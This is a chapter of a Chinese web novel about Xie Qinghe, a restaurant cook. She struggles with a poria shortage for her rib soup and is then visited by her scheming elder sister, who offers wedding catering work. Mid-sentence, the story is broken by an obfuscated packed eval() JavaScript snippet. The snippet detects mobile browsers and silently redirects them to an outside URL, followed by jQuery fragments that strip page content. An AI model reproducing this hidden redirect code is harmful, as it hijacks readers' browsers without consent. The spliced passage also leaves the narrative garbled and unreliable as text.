冬至刚过四五日，人们才正经体会到冬天的寒气。


    天寒地冻万物凋敝，酷寒不仅影响庄稼收成，百姓若在冬日不注意养生，肠胃胃寒，自然也会受到影响。


    茯苓健脾养胃、不苦不涩，关键入菜不抢味，做汤可提鲜，无论熬粥、炖汤皆适宜。


    入冬以来谢青禾研究了一道菜——茯苓排骨汤，暖胃健脾、祛湿补血，食客吃完念念不忘，几乎每日都有回头客。


    可近来市面上茯苓涨至五十文一斤，比肉都金贵，听人说比往年涨了一倍。


    虽然站在青云楼生意有所起色，自己也赚得些银两，可这道菜若跟着茯苓涨价，平民怕是无法接受这个价格。


    她试过很多平价药材，比如山药、芡实、莲子、白术，可食客尝够不买账。


    食客说山药偏甜、芡实发涩、莲子味苦、白术药味重，这些都没有茯苓那样味道温和。


    幸而几日前，萧蘅从李伯药铺哪里采买了些茯苓，可谢青禾挑选后，能够入汤的茯苓只有一捧，大约只够三碗的量，剩下一些不是发霉残渣就是用木薯块冒充的假货。


    但有万幸是有茯苓可入汤，这几日老食客每日都要来问，“那茯苓排骨汤还做得吗？”谢青禾每次都只能歉意的让他们点些别的饭菜。


    老食客连着两三日跑空，今日终于能做上几碗让他们解解馋。


    趁这会功夫谢青禾赶忙去隔壁王屠户那在买点猪肋排。


    猪肉在这个朝代人的眼中就是粗肉，苏轼的东坡肉是因为苏文豪被贬到黄州时，吃不起人们认为高级的羊肉，才研究起猪肉来。


    因此猪肉在这个朝代就是底层食物，王公贵族不屑吃，平明百姓不肯吃。


    可经过谢青禾的妙手，这猪肉、猪排骨无半点腥臊味，反而成了青云楼食客的香饽饽。


    王屠户就在钱庄巷入口第三家，谢青禾挽着篮子走上前，站在柜前仔细挑选，随后葱白的手指向面前，温声道，“要这些猪肋骨，两斤。”


    王屠户内心纳罕道，这精肉旁人都嫌粗鄙，没人愿意吃，何况是满是骨头，上面只有一点肉星的猪肋骨？就算二十文一斤，都无人问津。


    近来谢青禾没少买这些下脚料，王屠户以前发愁这些骨头没处安置，自打这谢姑娘来了后，这些下脚料可算能有处安置了，好歹能赚着些银钱！


    “好嘞！”王屠户爽快应道，随后手起刀落，猪肋骨咔咔作响，片刻便被砍得方方正正。


    谢青禾付了四十文。


    “下次还来哦！”王屠户喊道，他可不想丢失这样一个肯买猪骨头的‘冤大头’。


    谢青禾早已走出半里地，遂未听得分明。


    她提着那些猪肋骨刚进店铺，后面就跟着几个食客。


    他们眼角看到盖着碎花布头的猪骨头，个个两眼放光的问道，“今日可是能做茯苓排骨汤？”


    谢青禾笑道，“可以是可以，只是今日的茯苓只够出三碗排骨汤，大家先报先得。”


    几人争吵不休，“我先来的！”“明明是我先来的！”最终几人决定分着喝。


    谢青禾笑道，“那大家先坐吧，稍后就给大家上汤。”


    她来到后厨，将那些猪肋骨冷水洗去上面残存的血水、骨渣。


    随后在锅中倒入冷水，直接将洗好的骨头下锅，这样焯出的肉质较嫩。


    接着放入姜片、葱段、先前酿好的米酒。


    小允子忙完手头的活计后，帮着谢青禾烧锅。


    随着水温渐起，水面不似开始那般干净，上面浮起一圈灰褐色的血沫。


    “这些都是猪骨里的杂质、油脂，虽然无毒，但在汤中影响口感。”谢青禾看着小允子道。


    小允子虽是一名宫人，但他一想到猪圈那些通常与茅厕相连，因此一闻到猪肉味就想吐，有些无奈道，“若不是曾尝过谢姑娘你做的排骨汤，我是断不肯吃猪肉的。”


    谢青禾无奈摇头，“这有什么，真到不太平时节，怕是还吃不上哩。”


    小允子听到，先是一怔，后是一惊，内心震惊，这种话若是被萧蘅听到，好脾气怕是装不下去了。


    谢青禾不在意，拿起勺子将上面的浮沫一点点撇干净，随后将排骨捞出，用温水洗净上面的浮渣。


    小允子端来铁锅，正要像里面添水，谢青禾制止道，“不用这口锅，用砂锅。”


    小允子一头雾水，用哪口锅不一样吗？


    谢青禾看出他的不解，温声道，“铁锅一烧便滚烫，排骨便会发柴。砂锅锅壁厚重，传热慢，锅中的汤可始终缓缓沸腾。”


    小允子听后，忍不住拍掌赞叹，“谢姑娘心灵手巧，靠自己就能活得很好。”


    谢青禾心想，那是自然，靠山山会倒，靠水水会流，提升自己才是王道。


    她将排骨装入砂锅中，随后放入茯苓、葱段、姜片、倒入三碗清水，接着大火炖煮一炷香的时间，随后再放入红枣、山药，小火焖煮半柱香。


    等到快出锅时，简单加勺盐调味即可。


    谢青禾将汤逐次倒入碗中，空气中氤氲着茯苓甘甜的香气，还有猪肉的浓香。


    食客就着猪胰胡饼，喝着这冒着热气的排骨汤，当真滋润！


    周围食客见那几人吃的香甜，也纷纷点名要此汤。


    谢青禾只好歉意表示，“诸位，店内还有各种汤饼、糕点，味道都不错。”


    可食客不太买账，这几日寒气逐渐迫人，都想喝些热汤、最好是排骨汤，暖人又有肉。


    有的食客知晓今日城中茯苓少得可怜，于是当下便很识趣地点了别的吃食。


    谢青禾也知有的食客是念旧情，可大部分都是想来满足口腹之欲的，食肆没有客人想吃的，一来二去，生意竟渐渐冷清了下来。


    一日，谢青禾正当不知如何是好时，门外忽然停着一辆刺绣锦帐马车。


    随后一阵环佩叮当，伴随着丫鬟通传的声音，“小姐慢些，仔细脚下。”


    谢青禾接待食客无数，从未见过如此娇矜的主，她站在柜台用余光扫去，只瞧见那车夫躬身掀开车帘子，一只带着碧玉镯子的手先搭了上来。


    随即，一道纤细高挑的身影缓步走下。


    来人正是原身谢青禾的嫡姐，谢婉儿。


    二人对视间，谢青禾感受


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184185|196059||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到她眼中的恶心，脑中浮现出原身儿时多次被她陷害的场景。


    从小到大谢婉儿最容不得旁人压过她，她嫉妒谢青禾的美貌，好在这个妹妹是庶出，性子又愚蠢冲动，名声早被她暗地里搅得一团糟，哪个正经人家愿意娶她？


    谢婉儿想到这些心中就舒坦。


    谢青禾静静忍受着她上下打量的眼神，语气淡淡道，“姐姐可想吃些什么？”


    谢婉儿回过神来，立刻捏着秀帕在鼻尖前挥了挥，“你这店里什么怪味儿？”


    谢青禾刚准备用猪大肠做些卤货，谁知她竟来了，冷冷道，“猪大肠的味道。”


    谢婉儿脸色一僵，险些呕了出来，这般秽物，谢青禾竟能直接说出口，当真上不了台面。


    上次谢青禾获得国子监餐供，她本想借机拉谢青禾下水，反倒害得舅舅朱子健入狱，这笔账，她通通算在谢青禾头上。


    她此次就是专程为了踩谢青禾一脚而来。


    “我还当你这青云楼生意多红火呢，原来不过是用猪大肠这等腌臜物做吃食，也难怪店内冷清呢。”谢婉儿掩唇轻笑道。


    一旁的阿鱼早听得直攥拳头，见不得阿姊受气，于是拿着擦洗过猪大肠的抹布，故意走到谢婉儿桌前，脚下故意一绊，身子一歪，抹布正好摔倒她身上。


    谢婉儿正笑得得意，忽然嗅到一股腥膻恶臭，低头一看，来源正是一块臭布，当即脸色骤变，抬手朝阿鱼扇区。


    阿鱼如今特别会察言观色，见状立刻矮身一躲，那巴掌用力过猛，绊得谢婉儿一个趔趄。


    谢婉儿气得眼前发黑，险些当场翻了白眼，但想到今日来意还未表明，只得强压怒火，耐着性子重新落座。


    她端起桌上茶杯，借着饮茶的动作掩去方才的狼狈，半晌才缓缓开口，“我今日来，是给你送一桩生意。不日我便要同王爷成亲，王爷疼我，说要在当天大摆宴席，请了不少宾客，府中厨子忙不过来。”


    她说着，目光落在谢青禾身上，带着倨傲地审视，“王爷说可请外厨帮忙。我想着，你不是最爱做饭，又最是贪财富吗？这桩生意，还真是非你莫属了。”末了，还不忘冷冷斜睨她一眼。


    谢青禾看她那骄傲的模样，心中知晓，这哪里是给自己生意，分明是想故意给些难堪。


    “不去。”谢青禾语气干脆，没有半分犹豫道。


    谢婉儿一怔，没料到她会拒绝，心头一慌，但面上却强撑着矜贵，“一日十两。”


    谢青禾哼笑。


    “十五两。”谢婉儿加价。


    谢青禾抬眼，语气平静道，“姐姐说笑了，我谢青云楼生意就算再惨淡，每日流水也有二十两。”


    “三十两！”谢婉儿几乎咬碎银牙。


    文王这次预支外厨只有五十两银子，本想自己落些银钱，谁知这谢青禾惊如此不知好歹。


    谢青禾迟迟未开口，她方才说的每日流水二十两是在生意好的时候，这几日冷清，每日不过十两上下。


    谢婉儿今日一定要让谢青禾松口，她就是要在谢青禾面前摆足架子！


    她声音带有怒意，“你到底答不答应？”